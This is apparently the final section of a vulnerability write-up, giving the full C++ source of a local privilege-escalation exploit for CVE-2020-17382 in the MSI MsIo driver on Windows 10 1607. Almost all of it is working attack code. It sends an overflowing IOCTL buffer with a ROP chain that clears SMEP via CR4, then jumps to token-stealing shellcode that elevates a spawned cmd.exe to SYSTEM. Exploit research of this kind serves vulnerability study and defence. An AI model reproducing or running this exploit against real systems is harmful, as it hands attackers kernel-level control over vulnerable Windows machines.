Exploit Code
For completeness, the entire exploit code is given below:
#include <iostream>
#include <windows.h>
#include <psapi.h>
#define MSIO_SYM_LINK "\\\\.\\MsIo"
#define ARRAY_SIZE 1024
uint64_t GetKernelBase()
{
LPVOID drivers[ARRAY_SIZE];
DWORD cbNeeded;
EnumDeviceDrivers(drivers, sizeof(drivers), &cbNeeded);
return (uint64_t)drivers[0];
}
DWORD WINAPI ThreadFunc(void* data) {
Sleep(2000);
WinExec("cmd.exe", 1);
return 0;
}
int main()
{
printf("CVE-2020-17382 Exploit: Win10 1607\n----------------------------------\n");
// get a handle to the driver using the Symbolic link
HANDLE hDevice = CreateFileA(MSIO_SYM_LINK, GENERIC_READ | GENERIC_WRITE, 0, NULL, OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL | FILE_FLAG_OVERLAPPED, NULL);
// if CreateFileA fails the handle will be -0x1
if (hDevice == (HANDLE)-0x1)
{
printf("[+] Driver handle: 0x%p\n", hDevice);
printf("[!] Unable to get a handle to the driver.\n");
return 1;
}
else
{
// the IOCTL code
unsigned int ioCode = 0x80102040;
// the overflow offset
const size_t offset = 72;
// the length of the buffer
const size_t len = 150;
// token stealing shellcode - Win10 1607
const unsigned char shellcode[] = {
0x48, 0x31, 0xC0, 0x65, 0x48, 0x8B, 0x80, 0x88,
0x01, 0x00, 0x00, 0x48, 0x8B, 0x80, 0xB8, 0x00,
0x00, 0x00, 0x49, 0x89, 0xC0, 0x41, 0xB9, 0x04,
0x00, 0x00, 0x00, 0x4D, 0x8B, 0x80, 0xF0, 0x02,
0x00, 0x00, 0x49, 0x81, 0xE8, 0xF0, 0x02, 0x00,
0x00, 0x4D, 0x39, 0x88, 0xE8, 0x02, 0x00, 0x00,
0x75, 0xE9, 0x49, 0x8B, 0x88, 0x58, 0x03, 0x00,
0x00, 0x80, 0xE1, 0xF0, 0x48, 0x89, 0x88, 0x58,
0x03, 0x00, 0x00, 0xC3
};
// allocate memory for the shellcode
LPVOID alloc = VirtualAlloc(NULL, sizeof(shellcode), MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);
if (!alloc)
{
printf("[!] Unable to allocate memory for the shellcode. Error code: %d\n", GetLastError());
return 1;
}
printf("[+] Memory allocated: 0x%p\n", alloc);
// get the kernel base address
uint64_t kernelBase = GetKernelBase();
printf("[+] Kernel base is: 0x%p\n", kernelBase);
// copy the shellcode in to the memory
RtlMoveMemory(alloc, shellcode, sizeof(shellcode));
printf("[+] Shellcode copied to: 0x%p\n", alloc);
// the rop gadgets - Win10 1607
uint64_t POP_RCX = kernelBase + 0x3c66ce;
uint64_t MOV_CR4_RCX = kernelBase + 0x3d6325;
uint64_t LEA_RAX_RSP_8 = kernelBase + 0x14aa10;
uint64_t MOV_RAX_QWORD_RAX = kernelBase + 0x8f042;
uint64_t JMP_RAX = kernelBase + 0x6e59ec;
// index for rop chain
uint64_t index = 0;
// the exploit buffer
char buffer[len];
memset(buffer, 0x41, len);
// get a pointer to the offset for the rop chain
uint64_t* rop = (uint64_t*)((uint64_t)buffer + offset);
// the rop chain
*(rop + index++) = POP_RCX;
*(rop + index++) = (uint64_t)0x050678;
*(rop + index++) = MOV_CR4_RCX;
// the return address to our shellcode
*(rop + index++) = (uint64_t)alloc;
// spin the thread
*(rop + index++) = (uint64_t)LEA_RAX_RSP_8;
*(rop + index++) = (uint64_t)MOV_RAX_QWORD_RAX;
*(rop + index++) = (uint64_t)JMP_RAX;
printf("[!] Press enter when ready...");
getchar();
// create a new thread to escalate privileges on
printf("[+] Creating a privileged thread...\n", alloc);
HANDLE thread = CreateThread(NULL, 0, ThreadFunc, NULL, 0, NULL);
// send the buffer
printf("[+] Sending IOCTL...\n\n");
DWORD bytesRet;
DeviceIoControl(hDevice, (DWORD)ioCode, (LPVOID)buffer, len, NULL, 0, &bytesRet, NULL);
}
return 0;
}
Last updated